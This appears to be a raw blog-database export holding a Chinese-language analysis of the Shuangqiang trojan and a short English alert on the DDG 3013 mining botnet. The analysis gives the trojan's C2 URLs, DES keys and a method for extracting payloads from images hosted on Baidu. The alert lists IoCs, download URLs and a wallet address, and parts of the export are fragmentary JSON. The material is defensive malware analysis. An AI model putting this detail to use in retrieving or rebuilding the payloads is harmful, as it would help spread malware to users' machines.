[[[B3652241EBE375617D4415EFDE7B894C3F5294F8D54FA6438E3686644C8D12BDB3AEF00FB23F54BF8FF35A3AB54379EF47EE39FC10944AB7EE582C463D6EDC686A568D1F2B4C949F2F680F4C2E94C5CEBF39A799325C1D6E9938734CDB49B244C5DC5DCFD93FE9CFDA1BF3F0815812DEB2DE10D2AE5871C872A5D35A6C535D4ABC53A31868ECFB4B313D435772A67A420002002D4746E1480CFE839908B0A4D5A0160A207C1170DD5623CC0327B97404F73D94C73BA378428226DA39E674A07EA30BF34632F1A2C8A88BB2C6BA8B655ABA4F9DBEBEDF10F8419847A1375505670B067873285EAD4A88E33E2961BBABFDD52BC336EC13CA681231C4F21C5B20937418F41B6B8BEA367F614DA7F3500EDC28EC71A4570514069DEE9E4F75F2F4023A3DB58A415EDAE3669EE37F1A190D205EF3687DF0A3194EDB7452A1EF5C81954DDA184D8C63857BFDB23C34B1DD384B06B8649F7D9FD0D2037174A7C79CBD6ABC4E39821D714260CF9965D5B8CA3D050E3051A62E328DB8]]]
用变形 DES 解密步骤 1 获取到的响应，DES Key 为 HQXCKEY7，上述两段密文分别得到两组数据整理后如下：
##Shttp://imgsrc.baidu.com/tieba/pic/item/730e0cf3d7ca7bcbbb337629b3096b63f624a868.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/1b4c510fd9f9d72ade7aa11bd92a2834349bbb9e.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/0824ab18972bd40765b362fb76899e510fb309bb.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/730e0cf3d7ca7bcbbb337629b3096b63f624a868.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/1b4c510fd9f9d72ade7aa11bd92a2834349bbb9e.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/0824ab18972bd40765b362fb76899e510fb309bb.jpg## 9378148AF6604EA1D807D1EDE06EB994
------------------------------------------------------------------------------
##Shttp://imgsrc.baidu.com/tieba/pic/item/5bafa40f4bfbfbed2b24656f75f0f736afc31fa4.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/d788d43f8794a4c223bfb43b03f41bd5ad6e3905.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/78310a55b319ebc43e3f25898f26cffc1e17165e.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/5bafa40f4bfbfbed2b24656f75f0f736afc31fa4.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/d788d43f8794a4c223bfb43b03f41bd5ad6e3905.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/78310a55b319ebc43e3f25898f26cffc1e17165e.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
可见 default.html 每次的响应解密后是 2组*3条 图片的 URL，并且是重复的 2 组 URL，即只有 3 条 uniq URL。经过检查，每次响应中的 3 条 uniq URL 下载到的图片 MD5 相同。即 default.html 每次响应，去重之后就获取到 1 个图片 URL。
根据上面的相应解密之后获取到的图片 URL，下载图片文件，在图片文件偏移 0x1E30 处开始到文件末尾切出加密数据，用变形 DES 解密(DES Key 为 HQXCKEY7)，得到如下数据：
##Shttp://imgsrc.baidu.com/tieba/pic/item/267f9e2f0708283897406d12b599a9014c08f163.jpg##63AAFB03DC50CD59920FC8195F98E3F65/no008/File/a00831.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/279759ee3d6d55fb16e5c72060224f4a20a4dd91.jpg##626CED471332B6AFDA3D94D0C571A50ED/no008/File/a00861.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/c83d70cf3bc79f3dc8985536b7a1cd11728b29be.jpg##5899A9DB3276632334956CC8738D47579/no008/File/T0083.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/f31fbe096b63f624dd1088058a44ebf81a4ca363.jpg##5076EE8464792AE80475EDB129050C27B/no008/File/T0086.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/024f78f0f736afc31e3f8e63be19ebc4b7451280.jpg##52AF4784BC73BEEBFEE49B9A3F2D048EF/no008/File/A0083.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/e850352ac65c103883337fc4bf119313b07e8963.jpg##554900D4ACCE5A202F14C225A82E870D0/no008/File/A0086.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/fcfaaf51f3deb48f8d4b10d8fd1f3a292df57891.jpg##:DDE1426369397CC5FECF00CBD3507504/no008/no00a/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/d009b3de9c82d158dbcee8b78d0a19d8bc3e4263.jpg##<EC0E4BED4EEDAA41D8D300261947FF1C/no008/no00a/ConfigNew.txt01
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Note:
这里列出的 72 行 list 是当前最新版本。早期我们通过 default.html 响应得到的图片 URL，只有上述列表的前 42 行。
上述列表中的每行 URL 对应后面的文件名。并且部分 URI 在 kemon.sys 中硬编码存在的，但是向 C2 服务器直接请求那些 URI ，会发现都已经失效。猜测早期时可以直接向 <subdomain>.dztworld.com 或 <subdomain>.minding99.com 来获取到响应文件，但后来木马作者开始滥用百度贴吧的图片服务器后，这些URL被逐渐废弃了。
经过排查验证，上述列表中以 .dat 为后缀的文件，都可以直接从相应的图片文件中切出 PE 文件，均为加了 VMP 壳的 双枪 木马或游戏私服相关的恶意程序；而 ConfigXXX.txt 文件，则是与其相配套的配置文件，以变形 DES 解密后如下：
##.gbProtectTdiflt##.1
##.gbProtectTeDrv##.1
##.gbProtectSdDrv##.1
##.tdiver##.1180531
##.GB_IS_JUMP_BACK##.0
##.GB_IS_BYPASS_SUFFIX##.1
##.ApcInjectDLL##.1
##.ApcInjectEXE##.0
##.gbCreateDesktopLnk##.0
##.gbCreateDesktopLnkNew##.0
##.G_NOT_JUMP_TIME##.0
##.G_MAX_JUMP_TIMES##.100
##.G_NEED_CREATE_PROCESS_HOST##.ba.dztworld.com:12337
##.G_NEED_CREATE_PROCESS_PORT##.12337
##.G_B_MONITOR_PAGE_ACTION##.1
##.PatchCode_TE_Amd64##
.##.PatchCode_TE_X86##
.##.PatchCode_TDI_Amd64##
.##.PatchCode_TDI_X86##
至此，从 15.exe 开始到现在，终于明确了这一系列操作的最终目的：传播双枪木马和游戏私服相关的恶意程序。
接下来就是执行从百度图片服务器上下载到的恶意程序。据以往分析，双枪以锁主页带流量为主，游戏私服则主要是传奇的私服。
3. 变形 DES 加/解密算法
前文多次提到，双枪传播过程中的各个阶段都有用到木马开发者自己编写的变形 DES 加/解密算法。由于该算法的存在，导致加密数据不能由 DES 的开源实现直接解密，必须动态调试，或者根据逆向分析自己实现这一套变形 DES 加/解密算法，才能顺利解密该团伙加密的数据。
经过分析，该变形 DES 算法改动了开源 DES 加/解密过程中用到的几个转换向量，而没有改动体积最大的 S_Box 。为了直观展示该 DES 算法对开源 DES 实现中的转换向量的改动，我们以知名开源 C++ 加密库 CryptoCPP 作对比来详细分析。各个改动的转换向量如下(左为CryptoCPP 的实现，右为木马中的实现)：
4. 盗用数字签名
母体木马文件 cfe79da256441e45195d6f47049cb2a8 盗用了 Beijing Founder Apabi Technology Limited(北京方正阿帕比技术有限公司) 的数字签名。该数字签名在我们分析此样本的时候还是有效状态，目前已被吊销：
5. 参考资料：
1. https://www.freebuf.com/articles/web/140113.html
2. https://www.freebuf.com/articles/web/167776.html
3. https://www.freebuf.com/articles/system/168789.html
4. https://www.freebuf.com/articles/system/175507.html
5. http://www.360.cn/n/10439.html
6. https://www.freebuf.com/column/187317.html
7. https://mp.weixin.qq.com/s/sTN7r5hnluAzs5sNyMaRjA
6. IoCs
Domain:
ua[.]dztworld.com
ub[.]dztworld.com
uc[.]dztworld.com
ua[.]minding99.com
ub[.]minding99.com
uc[.]minding99.com
white[.]shougouji.top
white[.]gogo23424.com
www[.]src135.com
www[.]x15222.com
IP:
125.77.29.26
125.77.29.205
URL:
hxxp://42.51.44.167/api/api
hxxp://42.51.44.215/api/api
hxxp://42.51.32.166/api/api
hxxp://42.51.42.106/api/api
hxxp://42.51.44.168/api/api
hxxp://42.51.39.60/api/api
hxxp://42.51.39.208/api/api
hxxp://42.51.33.3/api/api
hxxp://42.51.32.20/api/api
MD5:
94191b6c57b185289b2eb83108d076e4 --> update.txt
3f5473826dcef015dc06b83767744ea0 --> update.txt
cfe79da256441e45195d6f47049cb2a8
d5f6d28be828225cc429589ec6fa2409 --> aa.exe
e86a9f5819582493837850a25c28915e --> cj.exe
e88b1d3c9bfb95d02e8dcd9931cfe99e --> tgp.exe
99d94b61a04a19e74bb5b84c1e75e451 --> 15.exe
b001c32571dd72dc28fd4dba20027a88 --> kemon.sys
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"],[0,[0],1,"Chinesestyleinternetmanhunt"],[0,[],0," 经过变形的 DES 加密后，作为 POST Data 发送到 "],[0,[0],1,"C2_stat4"],[0,[],0," ，DES Key 为 "],[0,[0],1,"HQDCKEY1"],[0,[],0,"；"]],[[0,[],0,"用变形 DES 来解密从 "],[0,[0],1,"C2_stat4"],[0,[],0," 获取到的 HTTP 响应数据，得到如下示例字符串，内含两个可以进一步下载的URL。本步骤中可能会返回不同的数据，故解出不同的字符串，用到DES Key 是"],[0,[0],1,"HQDCKEY1"],[0,[],0,"："],[0,[1],1,"hxxp://imgsrc.baidu.com/tieba/pic/item/d788d43f8794a4c227adb80603f41bd5ad6e3914.jpg|hxxp://imgsrc.baidu.com/tieba/pic/item/a08b87d6277f9e2fa7e042251230e924b999f3c2.jpg"]],[[0,[],0,"访问步骤 "],[0,[0],1,"4"],[0,[],0," 中解密出来的两个图片 URL，从两个图片文件的偏移 "],[0,[0],1,"0x1E30"],[0,[],0," 处开始到文件末尾各自切出数据，再拼凑在一起，最后再用变形 DES 解密出一个 DLL 文件(后文简称此文件为 "],[0,[0],1,"ReportDLL"],[0,[],0,"，此次解密用到的 DES Key 为 "],[0,[0],1,"HQXCKEY7"],[0,[],0,"；"]],[[0,[],0,"起 3 个同样的线程，执行如下工作：在内存中解析这个 "],[0,[0],1,"ReportDLL"],[0,[],0," 文件，找到导出函数 "],[0,[0],1,"Report()"],[0,[],0," 的地址，导入 DLL 文件需要的 Import Functions，然后执行函数 "],[0,[0],1,"DLL::Report()"],[0,[],0," 。"]]]],[1,"p",[[0,[0],1,"补充说明"],[0,[],0,"："]]],[3,"ul",[[[0,[],0,"步骤 "],[0,[0],1,"1"],[0,[],0," / "],[0,[0],1,"2"],[0,[],0," 中用到的 DES Key，也是经过解密得到的：用 Base64 解码字串 "],[0,[0],1,"vGbZFzOaw4A="],[0,[],0," 得到 "],[0,[0],1,"0xBC66D917339AC380"],[0,[],0," ；然后用变形 DES 解密上述二进制数据，才得到 "],[0,[0],1,"giwdyaiw"],[0,[],0," ，此处用到的 DES Key 为样本中硬编码的 "],[0,[0],1,"0x0000310000004959"]],[[0,[],0,"木马用 "],[0,[0],1,"Crypt32.dll::CryptBinaryToStringA()"],[0,[],0," 函数来实现 Base64 解密，但 "],[0,[0],1,"Crypt32.dll"],[0,[],0," 和 "],[0,[0],1,"CryptBinaryToStringA"],[0,[],0," 两个字串并不是硬编码在样本中，而是由 "],[0,[0],1,"IYIJIFINIKGAFAGCIFIOIO"],[0,[],0," 和 "],[0,[0],1,"DDDSECDVDSCTDSDZEUEQEJCPEQDHEJEOEQEDDSDN"],[0,[],0," 两个字符串用另外的解密算法分别解密得出，然后再用 "],[0,[0],1,"LoadLibrary()"],[0,[],0," 和 "],[0,[0],1,"GetProcAddress()"],[0,[],0," 函数得到 "],[0,[0],1,"CryptBinaryToStringA"],[0,[],0," 的函数地址，最终才会调用函数进行 Base64 解密。"]],[[0,[],0,"所谓"],[0,[0],1,"变形 DES"],[0,[],0,"，指的是木马作者修改了 DES 加解密用到的初始化向量中的部分字节顺序，导致按照已有的标准 DES 加解密库/程序不能直接解密，必须按照样本中的初始化向量来运算 DES 算法才可以顺利加解密。后文会详细解析该算法。"]],[[0,[],0,"步骤 "],[0,[0],1,"3"],[0,[],0,"/"],[0,[0],1,"4"],[0,[],0," 和步骤 "],[0,[0],1,"5"],[0,[],0," 中用到的 DES Key("],[0,[0],1,"HQDCKEY1"],[0,[],0," / "],[0,[0],1,"HQXCKEY7"],[0,[],0,")，也不是硬编码在样本中的，而是分别对 "],[0,[0],1,"1ZGNGIWO"],[0,[],0," 和 "],[0,[0],1,"7ZGNG]WO"],[0,[],0," 利用另外的解密算法解密得出的。"]]]],[1,"p",[[0,[],0,"通过这一阶段的分析，据我们的初步推测，从我们最新监测到的 2 个异常域名 "],[0,[1],1,"www[.]src135.com"],[0,[],0," 和 "],[0,[1],1,"www[.]x15222.com"],[0,[],0,"下载到的两个 "],[0,[0],1,"update.txt"],[0,[],0," 文件，其中嵌入的 DLL 文件，功能应该跟 "],[0,[0],1,"15.exe"],[0,[],0," 类似。"]]],[1,"h3",[[0,[0],1,"2.4 双枪传播第二阶段——ReportDLL"]]],[1,"p",[[0,[],0,"第一阶段中通过多重解密得到的 ReportDLL，是第二阶段的主要样本，其主要工作流程包括："]]],[1,"p",[[0,[0],1,"Step 1 监测本地环境、对抗杀软"],[0,[],0," ：样本会收集系统信息，包括CPUid/磁盘信息/guid/hostname/MAC地址/进程列表/UAC 级别等信息，样本会检查当前磁盘是否为虚拟磁盘、进程/服务中是否有反病毒软件。样本会将收集好的系统信息整理成JSON文件，然后用变形 DES 加密（DES Key 为"],[0,[0],1,"HQDCKEY1"],[0,[],0," )，示例配置如下："]]],[10,13],[1,"p",[[0,[],0,"样本在这一步检查的磁盘列表如下："]]],[10,14],[1,"p",[[0,[],0,"检查的进程/服务/驱动列表如下："]]],[10,15],[1,"p",[[0,[],0,"样本还会检查注册表中是否有 VMware 的痕迹： "],[0,[0,1],2,"SOFTWARE\\\\VMware, Inc.\\\\VMware Tools"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"另外，还会单独在系统托盘区检查是否有 "],[0,[0],1,"360安全卫士"],[0,[],0," 的托盘图标。如果没能通过这些检查，样本则不会向下执行。"]]],[1,"p",[[0,[0],1,"Step 2 上报信息、云端对抗杀软"],[0,[],0,": 将变形 DES 加密过的系统信息，作为 POST Data 发送到 "],[0,[1],1,"hxxp://white.shougouji.top:8889/stat1.ashx"],[0,[],0,"，接受服务端的检验。目前已知"],[0,[0],1,"服务端如果检测到进程列表中有 wireshark 这种“危险进程”，或者 MAC 地址可疑，也或者 Disk 类型可疑，服务端就不会返回任何数据"],[0,[],0,"，服务器端是否存在其他检测逻辑尚不明确。安全研究人员需要在动态调试时手动修改这些数据，发送到 C2，才会成功捕获 C2返回的响应。"]]],[1,"p",[[0,[],0,"服务端返回的数据经过变形 DES 解密(DES Key 为 "],[0,[0],1,"HQDCKEY1"],[0,[],0," )，是一份 JSON 格式的配置文件："]]],[10,16],[1,"p",[[0,[],0,"这份配置文件也是动态变化的，分析过程中还收到过另一份配置文件，"],[0,[0],1,"TaskUrls"],[0,[],0," 配置项两个图片URL如下(其他配置项同上)："]]],[10,17],[1,"p",[[0,[0],1,"Step 3 解析得到WorkDLL"],[0,[],0,": 解析 "],[0,[0],1,"Step 2"],[0,[],0," 中获取到的 JSON 配置文件，访问 "],[0,[0],1,"TaskUrls"],[0,[],0," 中的 2 个图片 URL，获取图片文件，从图片偏移 "],[0,[0],1,"0x1E30"],[0,[],0," 处到文件末尾切出加密数据，拼凑一起，并用变形 DES 解密(DES Key 为 "],[0,[0],1,"HQXCKEY7"],[0,[],0,")，得到一个 DLL 文件(后文简称 "],[0,[0],1,"WorkDll"],[0,[],0,")；"]]],[1,"p",[[0,[],0,"对 JSON 配置中的 "],[0,[0],1,"TaskParameter::Parameter"],[0,[],0," 项里的 2 个图片 URL 做同样的操作，得到一个驱动文件(后文简称 "],[0,[0],1,"kemon.sys"],[0,[],0,")。"]]],[1,"p",[[0,[],0,"根据 "],[0,[0],1,"Step 2"],[0,[],0," 中的 JSON 配置文件中的 "],[0,[0],1,"Interface"],[0,[],0," 配置项("],[0,[0],1,"DoIt"],[0,[],0,")， 找到 "],[0,[0],1,"WorkDll"],[0,[],0," 中的导出函数 "],[0,[0],1,"DoIt()"],[0,[],0," 函数地址，导入 "],[0,[0],1,"WorkDll"],[0,[],0," 导入表中的 Library，在内存中执行 "],[0,[0],1,"WorkDll::DoIt()"],[0,[],0," 函数。"]]],[1,"p",[[0,[0],1,"Step 4 采集信息"],[0,[],0,": 整理系统信息和木马运行信息，整理成 JSON 格式并以变形 DES 加密，Post 到 "],[0,[1],1,"hxxp://white.shougouji.top:8889/stat2.ashx"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"第二阶段的 "],[0,[0],1,"ReportDLL"],[0,[],0," 明显加上了一些对抗分析的措施，在样本端和 C2 端都有检查逻辑。安全社区成员在分析时需要注意这一点。"]]],[1,"h3",[[0,[0],1,"2.5 双枪传播第三阶段——WorkDLL"]]],[1,"p",[[0,[0],1,"WorkDll"],[0,[],0," 的工作很简单："]]],[3,"ol",[[[0,[],0,"为 "],[0,[0],1,"kemon.sys"],[0,[],0," 生成 7 个随机英文字符的文件名，以 "],[0,[0],1,".sys"],[0,[],0," 为后缀，移动到 "],[0,[0],1,"C:\\Windows\\System32\\inetsrv\\"],[0,[],0," 目录下；"]],[[0,[],0,"为新的驱动程序注册系统服务，加载 kemon.sys 启动服务。"]]]],[1,"h3",[[0,[0],1,"2.6 双枪传播第四阶段——kemon.sys"]]],[1,"h4",[[0,[0],1,"2.6.1 kemon.sys 对抗分析，安营扎寨做好准备工作"]]],[1,"p",[[0,[0],1,"kemon.sys"],[0,[],0," 功能繁杂，对抗分析手段也多种多样，比较有特色的比如："]]],[3,"ul",[[[0,[],0,"所有可用字符串(上百条)都经过了自定义加密，运行之前会用两套算法分别解密其中的 ASCII 和 Unicode 密文；"]],[[0,[],0,"会更新自身，每次更新还会把时间戳设置成跟 ntdll 相同；"]],[[0,[],0,"注册 Boot 回调和 Shutdown 回调来进行一些初始化和隐匿工作；"]],[[0,[],0,"用 CmRegisterCallBack() 方式监控注册表；"]],[[0,[],0,"用 PendingFileRenameOperations 方式实现开机启动。"]]]],[1,"h4",[[0,[0],1,"2.6.2 下一阶段工作——获取双枪木马及私服相关恶意程序"]]],[1,"p",[[0,[],0,"不过我们更关注样本的网络行为，驱动程序在做好了一系列对抗、自保措施在失陷主机安营扎寨之后，就开始了下一阶段工作。"]]],[1,"p",[[0,[],0,"在准备阶段，kemon.sys 解密出的上百个字符串中，有下面一系列 URL："]]],[10,18],[1,"p",[[0,[],0,"接下来依次访问下面的 URL，只要一个存活即可："]]],[10,19],[1,"p",[[0,[],0,"获取到响应，目前收集到两段不同的 "],[0,[0],1,"default.html"],[0,[],0," 的 HTTP 响应，每段响应都用 3 组连续的方括号括起来："]]],[10,20],[1,"p",[[0,[],0,"用变形 DES 解密步骤 "],[0,[0],1,"1"],[0,[],0," 获取到的响应，DES Key 为 "],[0,[0],1,"HQXCKEY7"],[0,[],0,"，上述两段密文分别得到两组数据整理后如下："]]],[10,21],[1,"p",[[0,[],0,"可见 "],[0,[0],1,"default.html"],[0,[],0," 每次的响应解密后是 2组*3条 图片的 URL，并且是重复的 2 组 URL，即只有 3 条 uniq URL。经过检查，每次响应中的 3 条 uniq URL 下载到的图片 MD5 相同。即 "],[0,[0],1,"default.html"],[0,[],0," 每次响应，去重之后就获取到 1 个图片 URL。"]]],[1,"p",[[0,[],0,"根据上面的相应解密之后获取到的图片 URL，下载图片文件，在图片文件偏移 "],[0,[0],1,"0x1E30"],[0,[],0," 处开始到文件末尾切出加密数据，用变形 DES 解密(DES Key 为 "],[0,[0],1,"HQXCKEY7"],[0,[],0,")，得到如下数据："]]],[10,22],[1,"p",[[0,[0],1,"Note"],[0,[],0,":"]]],[1,"p",[[0,[],0,"这里列出的 72 行 list 是当前最新版本。早期我们通过 "],[0,[0],1,"default.html"],[0,[],0," 响应得到的图片 URL，只有上述列表的前 42 行。"]]],[1,"p",[[0,[],0,"上述列表中的每行 URL 对应后面的文件名。并且部分 URI 在 "],[0,[0],1,"kemon.sys"],[0,[],0," 中硬编码存在的，但是向 C2 服务器直接请求那些 URI ，会发现都已经失效。猜测早期时可以直接向 "],[0,[1],1,"<subdomain>.dztworld.com"],[0,[],0," 或 "],[0,[1],1,"<subdomain>.minding99.com"],[0,[],0," 来获取到响应文件，但后来木马作者开始滥用百度贴吧的图片服务器后，这些URL被逐渐废弃了。"]]],[1,"p",[[0,[],0,"经过排查验证，上述列表中以 "],[0,[0],1,".dat"],[0,[],0," 为后缀的文件，都可以直接从相应的图片文件中切出 PE 文件，均为加了 VMP 壳的 "],[0,[0],1,"双枪"],[0,[],0," 木马或游戏私服相关的恶意程序；而 "],[0,[0],1,"ConfigXXX.txt"],[0,[],0," 文件，则是与其相配套的配置文件，以变形 DES 解密后如下："]]],[10,23],[1,"p",[[0,[],0,"至此，从 15.exe 开始到现在，终于明确了这一系列操作的最终目的：传播双枪木马和游戏私服相关的恶意程序。"]]],[1,"p",[[0,[],0,"接下来就是执行从百度图片服务器上下载到的恶意程序。据以往分析，双枪以锁主页带流量为主，游戏私服则主要是传奇的私服。"]]],[1,"h2",[[0,[0],1,"3. 变形 DES 加/解密算法"]]],[1,"p",[[0,[],0,"前文多次提到，双枪传播过程中的各个阶段都有用到木马开发者自己编写的变形 DES 加/解密算法。由于该算法的存在，导致加密数据不能由 DES 的开源实现直接解密，必须动态调试，或者根据逆向分析自己实现这一套变形 DES 加/解密算法，才能顺利解密该团伙加密的数据。"]]],[1,"p",[[0,[],0,"经过分析，该变形 DES 算法改动了开源 DES 加/解密过程中用到的几个转换向量，而没有改动体积最大的 "],[0,[3,0],2,"S_Box"],[0,[],0," 。为了直观展示该 DES 算法对开源 DES 实现中的转换向量的改动，我们以知名开源 C++ 加密库 "],[0,[4],1,"CryptoCPP"],[0,[],0," 作对比来详细分析。各个改动的转换向量如下(左为CryptoCPP 的实现，右为木马中的实现)："]]],[10,24],[10,25],[10,26],[10,27],[10,28],[1,"h2",[[0,[0],1,"4. 盗用数字签名"]]],[1,"p",[[0,[],0,"母体木马文件 "],[0,[0],1,"cfe79da256441e45195d6f47049cb2a8"],[0,[],0," 盗用了 "],[0,[0],1,"Beijing Founder Apabi Technology Limited"],[0,[],0,"(北京方正阿帕比技术有限公司) 的数字签名。该数字签名在我们分析此样本的时候还是有效状态，目前已被吊销： "]]],[10,29],[1,"h2",[[0,[0],1,"5. 参考资料："]]],[3,"ol",[[[0,[5],1,"https://www.freebuf.com/articles/web/140113.html"]],[[0,[6],1,"https://www.freebuf.com/articles/web/167776.html"]],[[0,[7],1,"https://www.freebuf.com/articles/system/168789.html"]],[[0,[8],1,"https://www.freebuf.com/articles/system/175507.html"]],[[0,[9],1,"http://www.360.cn/n/10439.html"]],[[0,[10],1,"https://www.freebuf.com/column/187317.html"]],[[0,[2],1,"https://mp.weixin.qq.com/s/sTN7r5hnluAzs5sNyMaRjA"]]]],[1,"h2",[[0,[0],1,"6. IoCs"]]],[1,"h3",[[0,[0],1,"Domain:"]]],[10,30],[1,"h3",[[0,[0],1,"IP:"]]],[10,31],[1,"h3",[[0,[0],1,"URL:"]]],[10,32],[1,"h3",[[0,[0],1,"MD5:"]]],[10,33]],"ghostVersion":"3.0"} | 60961a073819e50007633d3f |
post | null | 2021-05-08T04:58:30.000Z | 63873b9a8b1c1e0007f52fc8 | threat-alert-ddg-3013-is-out | 0 | 2021-05-08T04:59:12.000Z | public | published | null | 2018-08-01T04:58:00.000Z | Threat Alert: DDG 3013 is Out | <p>DDG is a mining botnet mainly focusing on SSH, Redis databases and OrientDB database servers. We captured the first DDG botnet on October 25, 2017, and subsequently released several <a href="__GHOST_URL__/tag/ddg/">reports</a>. A recent <a href="__GHOST_URL__/old-botnets-never-die-and-ddg-refuse-to-fade-away/">report</a> was released in 2018-06, which reflected the newest version of DDG 3012 at that time.</p><p>This morning, we noticed that DDG version 3013 came out.</p><h4 id="ioc"><strong>IoC</strong></h4><p>C2</p><pre><code>149.56.106.215:8000 Canada/CA Pierrefonds "AS16276 OVH SAS"
</code></pre><p>Download URL</p><pre><code>hxxp://149.56.106.215:8000/i.sh #fca88105ed6f1fc72d25cfb30a0080b8
hxxp://149.56.106.215:8000/static/3011/ddgs.i686 #999fc24f53034b4c73866a0699be15fa
hxxp://149.56.106.215:8000/static/3011/ddgs.x86_64 #55b1d7b0fa1c479c02660896e05db910
hxxp://149.56.106.215:8000/static/3012/ddgs.i686 #e31c1d7a8025e7c3266a07e37c55a4ba
hxxp://149.56.106.215:8000/static/3012/ddgs.x86_64 #26b3aef91bacfa082deff9812acf7875
hxxp://149.56.106.215:8000/static/3013/ddgs.i686 #7fb5665a632fe3f91c65df960ef56d9f
hxxp://149.56.106.215:8000/static/3013/ddgs.x86_64 #c090e30a008b6bc0ea323ba5928c4a62
hxxp://149.56.106.215:8000/static/qW3xT #c50d3e20b3519f096630e31277fefceb
hxxp://149.56.106.215:8000/static/qW3xT.1 #532a35a8d0fe4944c24575c0336eff8a
hxxp://149.56.106.215:8000/static/qW3xT.2 #0a63e48163056b04bf1d48420b7c8150
</code></pre><p>New mining pool agent</p><pre><code>104.197.211.117:443 United States/US "AS15169 Google LLC"
</code></pre><h4 id="infect-method"><strong>Infect Method</strong></h4><p>Using mis-configured Redis in the same way as previous versions of DDGs.</p><h4 id="monetization-method"><strong>Monetization method</strong></h4><p>Mining</p><ul><li>Mining Pool:Agent: 104.197.211.117</li><li>Wallet Address: 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik</li></ul><h4 id="activities"><strong>Activities</strong></h4><p>In the past 24 hours, our ScanMon reported <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1533002400000&tsend=1533088800000&dstport=6379&toplistname=srcas&topn=10&sortby=sum">471</a> scan sources, mainly from China mainland.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/08/ddg_3013_infection.png" class="kg-image" alt loading="lazy"></figure><h4 id="contact-us"><strong>Contact Us</strong></h4><p>Readers can feel free to contact us on our <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or WeChat <strong>360Netlab</strong> </p> | DDG is a mining botnet mainly focusing on SSH, Redis databases and OrientDB database servers. We captured the first DDG botnet on October 25, 2017, and subsequently released several reports. A recent report was released in 2018-06, which reflected the newest version of DDG 3012 at that time.
This morning, we noticed that DDG version 3013 came out.
IoC
C2
149.56.106.215:8000 Canada/CA Pierrefonds "AS16276 OVH SAS"
Download URL
hxxp://149.56.106.215:8000/i.sh #fca88105ed6f1fc72d25cfb30a0080b8
hxxp://149.56.106.215:8000/static/3011/ddgs.i686 #999fc24f53034b4c73866a0699be15fa
hxxp://149.56.106.215:8000/static/3011/ddgs.x86_64 #55b1d7b0fa1c479c02660896e05db910
hxxp://149.56.106.215:8000/static/3012/ddgs.i686 #e31c1d7a8025e7c3266a07e37c55a4ba
hxxp://149.56.106.215:8000/static/3012/ddgs.x86_64 #26b3aef91bacfa082deff9812acf7875
hxxp://149.56.106.215:8000/static/3013/ddgs.i686 #7fb5665a632fe3f91c65df960ef56d9f
hxxp://149.56.106.215:8000/static/3013/ddgs.x86_64 #c090e30a008b6bc0ea323ba5928c4a62
hxxp://149.56.106.215:8000/static/qW3xT #c50d3e20b3519f096630e31277fefceb
hxxp://149.56.106.215:8000/static/qW3xT.1 #532a35a8d0fe4944c24575c0336eff8a
hxxp://149.56.106.215:8000/static/qW3xT.2 #0a63e48163056b04bf1d48420b7c8150
New mining pool agent
104.197.211.117:443 United States/US "AS15169 Google LLC"
Infect Method
Using mis-configured Redis in the same way as previous versions of DDGs.
Monetization method
Mining
* Mining Pool:Agent: 104.197.211.117
* Wallet Address: 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik
Activities
In the past 24 hours, our ScanMon reported 471 scan sources, mainly from China mainland.
Contact Us
Readers can feel free to contact us on our twitter or WeChat 360Netlab | {"version":"0.3.1","atoms":[],"cards":[["code",{"code":"149.56.106.215:8000 Canada/CA Pierrefonds \"AS16276 OVH SAS\" \n"}],["code",{"code":"hxxp://149.56.106.215:8000/i.sh #fca88105ed6f1fc72d25cfb30a0080b8 \nhxxp://149.56.106.215:8000/static/3011/ddgs.i686 #999fc24f53034b4c73866a0699be15fa \nhxxp://149.56.106.215:8000/static/3011/ddgs.x86_64 #55b1d7b0fa1c479c02660896e05db910 \nhxxp://149.56.106.215:8000/static/3012/ddgs.i686 #e31c1d7a8025e7c3266a07e37c55a4ba \nhxxp://149.56.106.215:8000/static/3012/ddgs.x86_64 #26b3aef91bacfa082deff9812acf7875 \nhxxp://149.56.106.215:8000/static/3013/ddgs.i686 #7fb5665a632fe3f91c65df960ef56d9f \nhxxp://149.56.106.215:8000/static/3013/ddgs.x86_64 #c090e30a008b6bc0ea323ba5928c4a62 \nhxxp://149.56.106.215:8000/static/qW3xT #c50d3e20b3519f096630e31277fefceb \nhxxp://149.56.106.215:8000/static/qW3xT.1 #532a35a8d0fe4944c24575c0336eff8a \nhxxp://149.56.106.215:8000/static/qW3xT.2 #0a63e48163056b04bf1d48420b7c8150 \n"}],["code",{"code":"104.197.211.117:443 United States/US \"AS15169 